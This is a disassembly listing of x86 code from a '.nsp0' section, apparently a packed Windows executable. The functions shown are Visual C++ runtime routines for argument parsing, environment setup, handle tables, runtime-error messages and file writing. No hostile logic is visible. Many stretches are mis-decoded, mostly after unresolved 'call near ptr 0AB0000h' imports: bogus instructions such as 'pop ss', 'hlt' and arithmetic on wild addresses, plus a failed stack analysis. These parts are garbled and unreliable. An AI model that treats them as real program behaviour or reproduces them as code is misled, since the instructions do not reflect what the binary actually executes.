cmp eax, esi
jnb short loc_418ECF
cmp [eax], edx
jnz short loc_418EC4
loc_418ECF: ; CODE XREF: sub_418EA2+16j
; sub_418EA2+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:431A88h[ecx*4]
cmp eax, ecx
jnb short loc_418EE2
cmp [eax], edx
jz short locret_418EE4
loc_418EE2: ; CODE XREF: sub_418EA2+3Aj
xor eax, eax
locret_418EE4: ; CODE XREF: sub_418EA2+3Ej
retn
sub_418EA2 endp
; ---------------------------------------------------------------------------
cmp dword_46422C, 0
jnz short loc_418EF3
call sub_418C54
loc_418EF3: ; CODE XREF: .nsp0:00418EECj
push esi
mov esi, dword_464224
mov al, [esi]
cmp al, 22h
jnz short loc_418F25
loc_418F00: ; CODE XREF: .nsp0:00418F18j
; .nsp0:00418F1Bj
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_418F1D
test al, al
jz short loc_418F1D
movzx eax, al
push eax
call sub_41AF7C
test eax, eax
pop ecx
jz short loc_418F00
inc esi
jmp short loc_418F00
; ---------------------------------------------------------------------------
loc_418F1D: ; CODE XREF: .nsp0:00418F06j
; .nsp0:00418F0Aj
cmp byte ptr [esi], 22h
jnz short loc_418F2F
loc_418F22: ; CODE XREF: .nsp0:00418F37j
inc esi
jmp short loc_418F2F
; ---------------------------------------------------------------------------
loc_418F25: ; CODE XREF: .nsp0:00418EFEj
cmp al, 20h
jbe short loc_418F2F
loc_418F29: ; CODE XREF: .nsp0:00418F2Dj
inc esi
cmp byte ptr [esi], 20h
ja short loc_418F29
loc_418F2F: ; CODE XREF: .nsp0:00418F20j
; .nsp0:00418F23j ...
mov al, [esi]
test al, al
jz short loc_418F39
cmp al, 20h
jbe short loc_418F22
loc_418F39: ; CODE XREF: .nsp0:00418F33j
mov eax, esi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_418F3D proc near ; CODE XREF: .nsp0:loc_414456p
push ebx
xor ebx, ebx
cmp dword_46422C, ebx
push esi
push edi
jnz short loc_418F4F
call sub_418C54
loc_418F4F: ; CODE XREF: sub_418F3D+Bj
mov esi, dword_462C10
xor edi, edi
loc_418F57: ; CODE XREF: sub_418F3D+30j
mov al, [esi]
cmp al, bl
jz short loc_418F6F
cmp al, 3Dh
jz short loc_418F62
inc edi
loc_418F62: ; CODE XREF: sub_418F3D+22j
push esi
call sub_4126F0
pop ecx
lea esi, [esi+eax+1]
jmp short loc_418F57
; ---------------------------------------------------------------------------
loc_418F6F: ; CODE XREF: sub_418F3D+1Ej
lea eax, ds:4[edi*4]
push eax
call sub_41279F
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_462BEC, esi
jnz short loc_418F91
push 9
call sub_4144BE
pop ecx
loc_418F91: ; CODE XREF: sub_418F3D+4Aj
mov edi, dword_462C10
cmp [edi], bl
jz short loc_418FD4
push ebp
loc_418F9C: ; CODE XREF: sub_418F3D+94j
push edi
call sub_4126F0
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_418FCD
push ebp
call sub_41279F
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_418FC0
push 9
call sub_4144BE
pop ecx
loc_418FC0: ; CODE XREF: sub_418F3D+79j
push edi
push dword ptr [esi]
call sub_412600
pop ecx
add esi, 4
pop ecx
loc_418FCD: ; CODE XREF: sub_418F3D+6Cj
add edi, ebp
cmp [edi], bl
jnz short loc_418F9C
pop ebp
loc_418FD4: ; CODE XREF: sub_418F3D+5Cj
push dword_462C10
call sub_412813
pop ecx
mov dword_462C10, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_464228, 1
pop ebx
retn
sub_418F3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418FF6 proc near ; CODE XREF: .nsp0:00414451p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_46422C, ebx
push esi
push edi
jnz short loc_41900D
call sub_418C54
loc_41900D: ; CODE XREF: sub_418FF6+10j
mov esi, offset dword_462C78
push 104h
push esi
push ebx
call near ptr 0AB0000h
mov dword_464224[ecx], 2BFC3589h
inc esi
add [ebx+741838FEh], cl
add cl, [ebx-7BA7208h]
push eax
lea eax, [ebp+var_4]
push eax
push ebx
push ebx
push edi
call sub_41908F
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
lea eax, [eax+ecx*4]
push eax
call sub_41279F
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_419062
push 8
call sub_4144BE
pop ecx
loc_419062: ; CODE XREF: sub_418FF6+62j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+var_4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_41908F
mov eax, [ebp+var_4]
add esp, 14h
dec eax
mov dword_462BE4, esi
pop edi
pop esi
mov dword_462BE0, eax
pop ebx
leave
retn
sub_418FF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41908F proc near ; CODE XREF: sub_418FF6+47p
; sub_418FF6+7Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_4190B9
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_4190B9: ; CODE XREF: sub_41908F+20j
cmp byte ptr [eax], 22h
jnz short loc_419102
loc_4190BE: ; CODE XREF: sub_41908F+58j
; sub_41908F+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_4190F0
test dl, dl
jz short loc_4190F0
movzx edx, dl
test byte_464101[edx], 4
jz short loc_4190E3
inc dword ptr [ecx]
test esi, esi
jz short loc_4190E3
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_4190E3: ; CODE XREF: sub_41908F+46j
; sub_41908F+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_4190BE
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_4190BE
; ---------------------------------------------------------------------------
loc_4190F0: ; CODE XREF: sub_41908F+36j
; sub_41908F+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_4190FA
and byte ptr [esi], 0
inc esi
loc_4190FA: ; CODE XREF: sub_41908F+65j
cmp byte ptr [eax], 22h
jnz short loc_419145
inc eax
jmp short loc_419145
; ---------------------------------------------------------------------------
loc_419102: ; CODE XREF: sub_41908F+2Dj
; sub_41908F+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_41910D
mov dl, [eax]
mov [esi], dl
inc esi
loc_41910D: ; CODE XREF: sub_41908F+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_464101[ebx], 4
jz short loc_419128
inc dword ptr [ecx]
test esi, esi
jz short loc_419127
mov bl, [eax]
mov [esi], bl
inc esi
loc_419127: ; CODE XREF: sub_41908F+91j
inc eax
loc_419128: ; CODE XREF: sub_41908F+8Bj
cmp dl, 20h
jz short loc_419136
test dl, dl
jz short loc_41913A
cmp dl, 9
jnz short loc_419102
loc_419136: ; CODE XREF: sub_41908F+9Cj
test dl, dl
jnz short loc_41913D
loc_41913A: ; CODE XREF: sub_41908F+A0j
dec eax
jmp short loc_419145
; ---------------------------------------------------------------------------
loc_41913D: ; CODE XREF: sub_41908F+A9j
test esi, esi
jz short loc_419145
and byte ptr [esi-1], 0
loc_419145: ; CODE XREF: sub_41908F+6Ej
; sub_41908F+71j ...
and [ebp+arg_10], 0
loc_419149: ; CODE XREF: sub_41908F+19Ej
cmp byte ptr [eax], 0
jz loc_419232
loc_419152: ; CODE XREF: sub_41908F+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_41915E
cmp dl, 9
jnz short loc_419161
loc_41915E: ; CODE XREF: sub_41908F+C8j
inc eax
jmp short loc_419152
; ---------------------------------------------------------------------------
loc_419161: ; CODE XREF: sub_41908F+CDj
cmp byte ptr [eax], 0
jz loc_419232
test edi, edi
jz short loc_419176
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_419176: ; CODE XREF: sub_41908F+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_41917B: ; CODE XREF: sub_41908F+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_419184: ; CODE XREF: sub_41908F+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_41918D
inc eax
inc ebx
jmp short loc_419184
; ---------------------------------------------------------------------------
loc_41918D: ; CODE XREF: sub_41908F+F8j
cmp byte ptr [eax], 22h
jnz short loc_4191BE
test bl, 1
jnz short loc_4191BC
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_4191AB
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_4191AB
mov eax, edx
jmp short loc_4191AE
; ---------------------------------------------------------------------------
loc_4191AB: ; CODE XREF: sub_41908F+10Dj
; sub_41908F+116j
mov [ebp+arg_0], edi
loc_4191AE: ; CODE XREF: sub_41908F+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_4191BC: ; CODE XREF: sub_41908F+106j
shr ebx, 1
loc_4191BE: ; CODE XREF: sub_41908F+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_4191D3
inc ebx
loc_4191C6: ; CODE XREF: sub_41908F+142j
test esi, esi
jz short loc_4191CE
mov byte ptr [esi], 5Ch
inc esi
loc_4191CE: ; CODE XREF: sub_41908F+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_4191C6
loc_4191D3: ; CODE XREF: sub_41908F+134j
mov dl, [eax]
test dl, dl
jz short loc_419223
cmp [ebp+arg_10], 0
jnz short loc_4191E9
cmp dl, 20h
jz short loc_419223
cmp dl, 9
jz short loc_419223
loc_4191E9: ; CODE XREF: sub_41908F+14Ej
cmp [ebp+arg_0], 0
jz short loc_41921D
test esi, esi
jz short loc_41920C
movzx ebx, dl
test byte_464101[ebx], 4
jz short loc_419205
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_419205: ; CODE XREF: sub_41908F+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_41921B
; ---------------------------------------------------------------------------
loc_41920C: ; CODE XREF: sub_41908F+162j
movzx edx, dl
test byte_464101[edx], 4
jz short loc_41921B
inc eax
inc dword ptr [ecx]
loc_41921B: ; CODE XREF: sub_41908F+17Bj
; sub_41908F+187j
inc dword ptr [ecx]
loc_41921D: ; CODE XREF: sub_41908F+15Ej
inc eax
jmp loc_41917B
; ---------------------------------------------------------------------------
loc_419223: ; CODE XREF: sub_41908F+148j
; sub_41908F+153j ...
test esi, esi
jz short loc_41922B
and byte ptr [esi], 0
inc esi
loc_41922B: ; CODE XREF: sub_41908F+196j
inc dword ptr [ecx]
jmp loc_419149
; ---------------------------------------------------------------------------
loc_419232: ; CODE XREF: sub_41908F+BDj
; sub_41908F+D5j
test edi, edi
jz short loc_419239
and dword ptr [edi], 0
loc_419239: ; CODE XREF: sub_41908F+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_41908F endp
; =============== S U B R O U T I N E =======================================
sub_419243 proc near ; CODE XREF: .nsp0:00414447p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
mov eax, dword_462D7C
push ebx
push ebp
mov ebp, dword_41D03C
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_419291
call ebp ; dword_41D03C
mov esi, eax
cmp esi, ebx
jz short loc_419272
mov dword_462D7C, 1
jmp short loc_41929A
; ---------------------------------------------------------------------------
loc_419272: ; CODE XREF: sub_419243+21j
call dword_41D040 ; GetEnvironmentStringsA
mov edi, eax
cmp edi, ebx
jz loc_41936C
mov dword_462D7C, 2
jmp loc_419320
; ---------------------------------------------------------------------------
loc_419291: ; CODE XREF: sub_419243+19j
cmp eax, 1
jnz loc_41931B
loc_41929A: ; CODE XREF: sub_419243+2Dj
cmp esi, ebx
jnz short loc_4192AA
call ebp ; dword_41D03C
mov esi, eax
cmp esi, ebx
jz loc_41936C
loc_4192AA: ; CODE XREF: sub_419243+59j
cmp [esi], bx
mov eax, esi
jz short loc_4192BF
loc_4192B1: ; CODE XREF: sub_419243+73j
; sub_419243+7Aj
inc eax
inc eax
cmp [eax], bx
jnz short loc_4192B1
inc eax
inc eax
cmp [eax], bx
jnz short loc_4192B1
loc_4192BF: ; CODE XREF: sub_419243+6Cj
sub eax, esi
mov edi, dword_41D12C
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+38h+var_4], eax
call edi ; dword_41D12C
mov ebp, eax
cmp ebp, ebx
jz short loc_419310
push ebp
call sub_41279F
cmp eax, ebx
pop ecx
mov [esp+18h+var_8], eax
jz short loc_419310
push ebx
push ebx
push ebp
push eax
push [esp+28h+var_4]
push esi
push ebx
push ebx
call edi ; dword_41D12C
test eax, eax
jnz short loc_41930C
push [esp+18h+var_8]
call sub_412813
pop ecx
mov [esp+18h+var_8], ebx
loc_41930C: ; CODE XREF: sub_419243+B9j
mov ebx, [esp+18h+var_8]
loc_419310: ; CODE XREF: sub_419243+99j
; sub_419243+A8j
push esi
call dword_41D1A0 ; FreeEnvironmentStringsW
mov eax, ebx
jmp short loc_41936E
; ---------------------------------------------------------------------------
loc_41931B: ; CODE XREF: sub_419243+51j
cmp eax, 2
jnz short loc_41936C
loc_419320: ; CODE XREF: sub_419243+49j
cmp edi, ebx
jnz short loc_419330
call dword_41D040 ; GetEnvironmentStringsA
mov edi, eax
cmp edi, ebx
jz short loc_41936C
loc_419330: ; CODE XREF: sub_419243+DFj
cmp [edi], bl
mov eax, edi
jz short loc_419340
loc_419336: ; CODE XREF: sub_419243+F6j
; sub_419243+FBj
inc eax
cmp [eax], bl
jnz short loc_419336
inc eax
cmp [eax], bl
jnz short loc_419336
loc_419340: ; CODE XREF: sub_419243+F1j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_41279F
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_419356
xor esi, esi
jmp short loc_419361
; ---------------------------------------------------------------------------
loc_419356: ; CODE XREF: sub_419243+10Dj
push ebp
push edi
push esi
call sub_411FD0
add esp, 0Ch
loc_419361: ; CODE XREF: sub_419243+111j
push edi
call near ptr 0AB0000h
xor al, 8Bh
mov bl, 2
loc_41936C: ; CODE XREF: sub_419243+39j
; sub_419243+61j ...
xor eax, eax
loc_41936E: ; CODE XREF: sub_419243+D6j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
sub_419243 endp
; ---------------------------------------------------------------------------
loc_419375: ; CODE XREF: .nsp0:00414437p
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_41279F
mov esi, eax
pop ecx
test esi, esi
jnz short loc_419395
push 1Bh
call sub_4144BE
pop ecx
loc_419395: ; CODE XREF: .nsp0:0041938Bj
mov dword_463EE0, esi
mov dword_463FE0, 20h
lea eax, [esi+100h]
loc_4193AB: ; CODE XREF: .nsp0:004193C7j
cmp esi, eax
jnb short loc_4193C9
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, dword_463EE0
add esi, 8
add eax, 100h
jmp short loc_4193AB
; ---------------------------------------------------------------------------
loc_4193C9: ; CODE XREF: .nsp0:004193ADj
lea eax, [esp+10h]
push eax
call near ptr 0AB0000h
imul esp, [esi-7Dh], 7Ch
and al, 42h
add [edi], cl
test al, ch
; ---------------------------------------------------------------------------
db 3 dup(0)
; ---------------------------------------------------------------------------
mov eax, [esp+44h]
test eax, eax
jz loc_4194A5
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_4193FF
mov esi, eax
loc_4193FF: ; CODE XREF: .nsp0:004193FBj
cmp dword_463FE0, esi
jge short loc_419459
mov edi, offset dword_463EE4
loc_41940C: ; CODE XREF: .nsp0:0041944Fj
push 100h
call sub_41279F
test eax, eax
pop ecx
jz short loc_419453
add dword_463FE0, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_41942A: ; CODE XREF: .nsp0:00419444j
cmp eax, ecx
jnb short loc_419446
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_41942A
; ---------------------------------------------------------------------------
loc_419446: ; CODE XREF: .nsp0:0041942Cj
add edi, 4
cmp dword_463FE0, esi
jl short loc_41940C
jmp short loc_419459
; ---------------------------------------------------------------------------
loc_419453: ; CODE XREF: .nsp0:00419419j
mov esi, dword_463FE0
loc_419459: ; CODE XREF: .nsp0:00419405j
; .nsp0:00419451j
xor edi, edi
test esi, esi
jle short loc_4194A5
loc_41945F: ; CODE XREF: .nsp0:004194A3j
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_41949C
mov cl, [ebp+0]
test cl, 1
jz short loc_41949C
test cl, 8
jnz short loc_41947E
push eax
call near ptr 0AB0000h
xchg eax, ebp
test eax, eax
jz short loc_41949C
loc_41947E: ; CODE XREF: .nsp0:00419471j
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, dword_463EE0[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_41949C: ; CODE XREF: .nsp0:00419464j
; .nsp0:0041946Cj ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_41945F
loc_4194A5: ; CODE XREF: .nsp0:004193E6j
; .nsp0:0041945Dj
xor ebx, ebx
loc_4194A7: ; CODE XREF: .nsp0:0041950Aj
mov eax, dword_463EE0
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_419502
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_4194C2
push 0FFFFFFF6h
pop eax
jmp short loc_4194CC
; ---------------------------------------------------------------------------
loc_4194C2: ; CODE XREF: .nsp0:004194BBj
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_4194CC: ; CODE XREF: .nsp0:004194C0j
push eax
call near ptr 0AB0000h
test byte ptr [ebx-7C08h], 74h
pop ss
push edi
call near ptr 0AB0000h
mov eax, ds:0C74C085h
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_4194F7
or byte ptr [esi+4], 40h
jmp short loc_419506
; ---------------------------------------------------------------------------
loc_4194F7: ; CODE XREF: .nsp0:004194EFj
cmp eax, 3
jnz short loc_419506
or byte ptr [esi+4], 8
jmp short loc_419506
; ---------------------------------------------------------------------------
loc_419502: ; CODE XREF: .nsp0:004194B3j
or byte ptr [esi+4], 80h
loc_419506: ; CODE XREF: .nsp0:004194F5j
; .nsp0:004194FAj ...
inc ebx
cmp ebx, 3
jl short loc_4194A7
push dword_463FE0
call near ptr 0AB0000h
lock pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
; ---------------------------------------------------------------------------
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419528 proc near ; DATA XREF: .nsp0:004143D2o
; sub_416F6A+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_4195C8
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_41955B: ; CODE XREF: sub_419528+90j
cmp esi, 0FFFFFFFFh
jz short loc_4195C1
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_4195AF
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_4195AF
js short loc_4195BA
mov edi, [ebx+8]
push ebx
call sub_412D40
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_412D82
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_412E16
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_4195AF: ; CODE XREF: sub_419528+40j
; sub_419528+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_41955B
; ---------------------------------------------------------------------------
loc_4195BA: ; CODE XREF: sub_419528+54j
mov eax, 0
jmp short loc_4195DD
; ---------------------------------------------------------------------------
loc_4195C1: ; CODE XREF: sub_419528+36j
mov eax, 1
jmp short loc_4195DD
; ---------------------------------------------------------------------------
loc_4195C8: ; CODE XREF: sub_419528+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_412D82
add esp, 8
pop ebp
mov eax, 1
loc_4195DD: ; CODE XREF: sub_419528+97j
; sub_419528+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_419528 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_412D82
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_419600 proc near ; CODE XREF: sub_4144BE+9p
; sub_4144E3+9p
mov eax, dword_462C18
cmp eax, 1
jz short loc_419617
test eax, eax
jnz short locret_419638
cmp dword_4314A4, 1
jnz short locret_419638
loc_419617: ; CODE XREF: sub_419600+8j
push 0FCh
call sub_419639
mov eax, dword_462D80
pop ecx
test eax, eax
jz short loc_41962D
call eax ; dword_462D80
loc_41962D: ; CODE XREF: sub_419600+29j
push 0FFh
call sub_419639
pop ecx
locret_419638: ; CODE XREF: sub_419600+Cj
; sub_419600+15j
retn
sub_419600 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419639 proc near ; CODE XREF: sub_4144BE+12p
; sub_4144E3+12p ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_431B18
loc_41964C: ; CODE XREF: sub_419639+20j
cmp edx, [eax]
jz short loc_41965B
add eax, 8
inc ecx
cmp eax, offset off_431BA8
jl short loc_41964C
loc_41965B: ; CODE XREF: sub_419639+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_431B18[esi]
jnz near ptr loc_419786+3
mov eax, dword_462C18
cmp eax, 1
jz loc_419763
test eax, eax
jnz short loc_41968C
cmp dword_4314A4, 1
jz loc_419763
loc_41968C: ; CODE XREF: sub_419639+44j
cmp edx, 0FCh
jz near ptr loc_419786+3
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
call near ptr 0AB0000h
inc ebx
test eax, eax
jnz short loc_4196C3
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_412600
pop ecx
pop ecx
loc_4196C3: ; CODE XREF: sub_419639+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_4126F0
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_419706
lea eax, [ebp+var_1A4]
push eax
call sub_4126F0
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_413710
add esp, 10h
loc_419706: ; CODE XREF: sub_419639+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_412600
lea eax, [ebp+var_A0]
push edi
push eax
call sub_412610
lea eax, [ebp+var_A0]
push offset asc_41DB38 ; "\n\n"
push eax
call sub_412610
push off_431B1C[esi]
lea eax, [ebp+var_A0]
push eax
call sub_412610
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_41AFBE
add esp, 2Ch
pop edi
jmp short near ptr loc_419786+3
; ---------------------------------------------------------------------------
loc_419763: ; CODE XREF: sub_419639+3Cj
; sub_419639+4Dj
lea eax, [ebp+arg_0]
lea esi, off_431B1C[esi]
push 0
push eax
push dword ptr [esi]
call sub_4126F0
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
call near ptr 0AB0000h
test [eax-18h], edx
js short near ptr loc_4197ED+1
loc_419786: ; CODE XREF: sub_419639+2Ej
; sub_419639+59j ...
imul eax, [eax], 0C3C95E64h
sub_419639 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41978C proc near ; CODE XREF: sub_414507+95p
; sub_414507+E8p ...
var_74F48B40 = byte ptr -74F48B40h
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, dword_463FE0
push esi
push edi
jnb loc_419920
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:463EE0h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_419920
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_4197DD
loc_4197D6: ; CODE XREF: sub_41978C+177j
xor eax, eax
jmp loc_419934
; ---------------------------------------------------------------------------
loc_4197DD: ; CODE XREF: sub_41978C+48j
test al, 20h
jz short loc_4197ED
push 2
push edi
push ecx
call sub_41844F
add esp, 0Ch
loc_4197ED: ; CODE XREF: sub_41978C+53j
; sub_419639+14Bj
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_4198BC
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_4198F4
loc_41980D: ; CODE XREF: sub_41978C+F5j
lea eax, [ebp+var_414]
loc_419813: ; CODE XREF: sub_41978C+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_419847
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_419832
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_419832: ; CODE XREF: sub_41978C+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_419813
loc_419847: ; CODE XREF: sub_41978C+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call near ptr 0AB0000h
pop esi
test eax, eax
jz short loc_4198B1
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_419883
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_41980D
loc_419883: ; CODE XREF: sub_41978C+EAj
; sub_41978C+12Ej
xor edi, edi
loc_419885: ; CODE XREF: sub_41978C+150j
; sub_41978C+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_41991B
cmp [ebp+arg_0], edi
jz short loc_4198F4
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_4198E9
mov dword_462BC4, 9
mov dword_462BC8, eax
jmp loc_419931
; ---------------------------------------------------------------------------
loc_4198B1: ; CODE XREF: sub_41978C+E0j
call dword_41D06C ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_419883
; ---------------------------------------------------------------------------
loc_4198BC: ; CODE XREF: sub_41978C+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
call near ptr 0AB0000h
xor [ebp+var_74F48B40], al
inc ebp
hlt
; ---------------------------------------------------------------------------
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_419885
; ---------------------------------------------------------------------------
call dword_41D06C ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_419885
; ---------------------------------------------------------------------------
loc_4198E9: ; CODE XREF: sub_41978C+10Fj
push [ebp+arg_0]
call sub_418CFA
pop ecx
jmp short loc_419931
; ---------------------------------------------------------------------------
loc_4198F4: ; CODE XREF: sub_41978C+7Bj
; sub_41978C+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_419909
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_4197D6
loc_419909: ; CODE XREF: sub_41978C+16Fj
mov dword_462BC4, 1Ch
mov dword_462BC8, edi
jmp short loc_419931
